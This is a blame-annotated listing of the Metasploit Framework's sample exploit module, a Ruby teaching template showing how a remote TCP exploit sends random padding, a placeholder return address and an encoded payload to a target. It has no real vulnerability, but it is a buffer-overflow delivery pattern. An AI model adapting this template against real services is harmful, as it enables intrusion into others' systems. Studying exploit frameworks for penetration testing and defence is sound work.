2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-10-09 02:29:55 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
|
2005-11-28 23:49:48 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# This exploit sample shows how an exploit module could be written to exploit
|
|
|
|
# a bug in an arbitrary TCP server.
|
|
|
|
#
|
|
|
|
###
|
2012-10-09 02:23:38 +00:00
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2005-11-28 23:49:48 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# This exploit affects TCP servers, so we use the TCP client mixin.
|
|
|
|
#
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-07-08 16:23:18 +00:00
|
|
|
'Name' => 'Sample Exploit',
|
2005-11-28 23:49:48 +00:00
|
|
|
'Description' => %q{
|
2010-05-03 17:13:09 +00:00
|
|
|
This exploit module illustrates how a vulnerability could be exploited
|
2005-11-28 23:49:48 +00:00
|
|
|
in an TCP server that has a parsing bug.
|
|
|
|
},
|
2013-07-08 16:23:18 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['skape'],
|
2010-05-03 17:13:09 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
],
|
2005-11-28 23:49:48 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
2010-05-03 17:13:09 +00:00
|
|
|
'Targets' =>
|
2005-11-28 23:49:48 +00:00
|
|
|
[
|
|
|
|
# Target 0: Windows All
|
2010-05-03 17:13:09 +00:00
|
|
|
[
|
2013-07-08 16:23:18 +00:00
|
|
|
'Windows XP/Vista/7/8',
|
2005-11-28 23:49:48 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x41424344
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2013-07-08 16:23:18 +00:00
|
|
|
'DisclosureDate' => "Apr 1 2013",
|
|
|
|
'DefaultTarget' => 0))
|
2005-11-28 23:49:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# The sample exploit just indicates that the remote host is always
|
|
|
|
# vulnerable.
|
|
|
|
#
|
|
|
|
def check
|
2013-07-08 16:23:18 +00:00
|
|
|
Exploit::CheckCode::Vulnerable
|
2005-11-28 23:49:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2013-07-08 16:23:18 +00:00
|
|
|
# The exploit method connects to the remote service and sends 1024 random bytes
|
2005-11-28 23:49:48 +00:00
|
|
|
# followed by the fake return address and then the payload.
|
|
|
|
#
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Sending #{payload.encoded.length} byte payload...")
|
|
|
|
|
|
|
|
# Build the buffer for transmission
|
2013-07-08 16:23:18 +00:00
|
|
|
buf = rand_text_alpha(1024)
|
|
|
|
buf << [ target.ret ].pack('V')
|
|
|
|
buf << payload.encoded
|
2005-11-28 23:49:48 +00:00
|
|
|
|
|
|
|
# Send it off
|
|
|
|
sock.put(buf)
|
2013-07-08 16:23:18 +00:00
|
|
|
sock.get_once
|
2005-11-28 23:49:48 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|